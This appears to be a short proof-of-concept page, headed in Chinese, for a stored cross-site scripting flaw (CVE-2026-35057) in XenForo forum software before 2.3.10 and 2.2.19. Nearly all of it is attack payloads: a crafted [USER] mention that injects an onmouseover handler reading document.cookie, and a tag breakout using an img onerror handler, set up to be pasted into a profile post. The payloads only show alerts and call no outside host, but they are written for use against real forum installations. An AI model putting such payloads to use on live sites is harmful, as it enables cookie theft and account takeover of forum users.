CVE-2026-35057 XenForo存储型XSS漏洞

<!-- Proof of Concept for CVE-2026-35057 --> <!-- Target: XenForo < 2.3.10 & < 2.2.19 --> <!-- Vector: Structured text mention in legacy profile post --> // Attacker injects a malicious payload through a crafted mention. // The payload attempts to execute JavaScript when a user views the profile post. // Example payload structure (Conceptual) // Depending on the parser, the injection might look like this: var payload = "[USER=1] onmouseover=alert(document.cookie) [/USER]"; // Alternatively, breaking out of the tag: var payloadBreakout = "[USER=1]<img src=x onerror=alert('XSS')>[/USER]"; console.log("Payload to inject into profile post: " + payload);